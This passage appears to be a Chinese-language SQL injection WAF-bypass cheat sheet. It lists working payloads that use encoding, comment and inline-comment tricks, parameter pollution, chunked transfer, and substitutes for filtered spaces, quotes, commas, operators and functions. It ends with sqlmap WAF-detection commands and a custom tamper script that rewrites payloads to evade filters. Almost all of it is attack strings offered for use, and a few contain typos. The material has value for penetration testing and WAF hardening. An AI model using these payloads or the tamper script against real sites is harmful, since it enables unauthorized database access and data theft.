      ②Unicode编码
      //如果waf拦截了union select
      	1' union select 1,2,3		'#替换了i,也可以全部替换
      =>	1' un%u0069on sel%u0065ct 1,2,3
      
      ③16进制
      d. 注释绕过
      • // -- /* * / # --+ -- - ; --a /*! */

        利用****语言函数特性来绕过waf的规则

      ①普通注释

      使用/* * /在构造的****查询语句中插入注释,规避对空格的依赖关键字识别

      	1' union select 1,2,3
      => 	1' /**/union/**/select 1,2,3
      =>	1' /**/union/**/select 1,2,database/*%!a*/()		'# 使用/*%特殊符号*/的形式绕过对/**/的正则过滤
      
      内联注释

      **/*! */**只有mysql能识别

      1. /*! code*/	内联注释可以用于整个SQL语句中
      2. 过滤了union、where、table_name、table_schema、=、and、information_schema等词,可以使用
      	=> /*!%23/*%0a关键词*/ 来绕过
      	=> /*!99999*/
      
      e. 参数污染
      • HPP(HTTP Parameter Polution)又称作****重复参数污染,当同一参数出现多次,不同中间件会解析为不同的结果
      • 如果WAF****只检测同名参数的第一个或最后一个,并且中间件特性正好取与WAF相反的参数,则可成功绕过
        参数污染
        	index.php?id=select 1,2,3 from table
        =>	index.php?id=select 1&id=2,3 from table
        
      f. 缓冲区溢出

      许多WAF使用****C语言写的,而C语言没有缓冲区保护机制,测试向量时超出了其缓冲区长度时,会引发Bug从而绕过

      g. 整合绕过

      结合使用****前面的各种绕过技术

      h. 分块传输绕过

      将****传输的内容分块时,处理后的HTTP请求由于和已知的payload相差较大,所以可以起到绕过作用

      分快传输

      i. 特殊符号绕过
      • 使用****反引号 ` 可以绕过空格和正则,特殊情况下还可以将其作为注释符用
      • 使用 -+. ,起到连接字符串的作用
      index.php?id=-1.0 union select"1",2,3
      index.php?id=-1E0 union select~1,2,3
      index.php?id=-1 union select 1,2,version()"from users"
      index.php?id=-1 union select`id`,1,2 from users"
      index.php?id=-1 union select 1,2,version()`from users`
      
      ①普通括号
      index.php?id=(-1)union(select(1),(2),(3)from(users))
      index.php?id=(1)or(0x50=0x50)
      index.php?id=(-1)union((((((select(1),hex(2),hex(3)from(users)))))))
      
      ②花括号
      index.php?id=-1 union select 1,{x 2},3
      
      ③等号
      #使用``like``来替代
      1' union select 1,2,(select group(table_name) from information_schema.tables where table_schema=database())#
      => 1' union select 1,2,(select group(table_name) from information_schema.tables where table_schema like database())#
      
      ④and和or
      #使用关键字双写、关键字替换、内联注释、多行注释来替代
      
      ⑤逗号
      	1' union select 1,2,3 --+
      => 	1' union select * from (select 1)a join (select 2)b join (select 3)c --+
      
      j. 过滤掉and和or的盲注
      index.php?id=strcmp(left((select username from users limit 0,1),1),0x42)#
      index.php?id=strcmp(left((select+username+from+users+limit+0,1),1)0x42)#
      
      #strcmp()函数,两值相等返回0,小于返回-1,大于返回1
      
      #sql语句为:
      select * from users where id=strcmp(left((select username from users limit 0,1),1),0x42);
      

      (3). 特定符号被过滤

      ①空格被过滤
      符号替换内容
      空格%20 (标准空格)
      空格%09 (tab键,水平)
      空格%0a (换行符)
      空格%a0 (不间断空格)
      空格%0b (tab键,垂直)
      空格%0c (新的一页)
      ②单引号被过滤
      • 将字符转换为16进制,不使用单引号
        	select * from users where username='Dumb'
        =>	select * from users where username=0x44756d62
        
      ③逗号被过滤
      #1. from to
      	select substr(database(),1,1);
      	=> select substr(database() from 1 to 1);
      #2. join
      	select 1,2,3
      	=> select * from (select 1)a join (select 2)b join (select 3)c
      #3. offset
      	select * from users limit 0,1;
      	=> select * from users limit 1 offset 0;
      
      ④逻辑判断符被过滤
      #1. 等于号(=)绕过
      	①1' or 1=1  =>  1' or 1<>1
      	②1' or 1=1  =>  1' or 1 like 1a
      #2. 单个比较符的绕过
      	#1. sqlmap可以使用between脚本,用greatest()返回给定表达式中最大值,least()返回给定表达式中最小值
      		select * from users where id=1 and ascii(substr(user(),1,1))>100
      		=> select * from users where id=1 and greatest(ascii(substr(user(),1,1)),100)=100
      	#2. 使用字符编码
      		a. 实体编码   < => <   > =>  >
      		b. ASCII码	< => %3C	> =>  %3E 
      		c. Unicode编码	< => \u003C   > =>  \u003E
      	#3. 使用替代函数
      		<  => CHAR(60)   >  =>  CHAR(62)
      
      ⑤or and xor not绕过
      #1. 使用逻辑判断符替代
      	and  =>  &&
          or   =>  ||
          xor  =>  |
          not  =>  !
      #2. 使用内联注释
      	/*!and*/、/*!%23/*%0aand*/
      
      ⑥函数过滤
      1. sleep()	=> benchmark(10000000,md5(1))
      2. ascii()  =>  ord()
      3.  group_concat()	=>  concat_ws()
      		例如:select group_concat(1,' -- ',1,' -- ',1)  => select concat_ws(' -- ',1,1,1)
      4. substr()  =>  mid()、substring()、left()、right()
      
      ⑦常见绕过方式
      1. 绕过关键字检测
          a. user() --> user/*//--//*/()  或  database/*%!a*/()
          b. from  -->  /*!%23/*%0aform*/
          c. 大小写替换
          d. 重复关键字
      2. 绕过2个及以上检测语句
      union select  --> union/*//--/*/select
      union select 1,2,3 -->   union /*!--+/*%0aselect/*!1,2,*/ 3
      

      (3). 编写tamper

      a. 检测WAF种类
      1. 检测WAF种类
      	sqlmap -u [URL] --identify-waf(--check-waf)
      2. 绕过WAF
      	sqlmap -u [URL] --tamper "模块名"
      
      b. 模板
      from lib.core.enums import PRIORITY
      import os
      __priority__ = PRIORITY.LOWEST
      def dependencies():
          pass
      def tamper(payload, **kwargs):
          payload = payload.replace('AND', '/*!%23/*%0aAND*/')
          payload = payload.replace('DATABASE()', 'DATABASE/*$%^a*/()')
          payload = payload.replace('FROM', '/*!%23/*%0afrom*/')
          payload = payload.replace('UNION ALL', 'union/*!99999*/all')
          payload = payload.replace('SESSION_USER()', 'USER()')
          payload = payload.replace('USER()', 'USER/*////*/()')
          return payload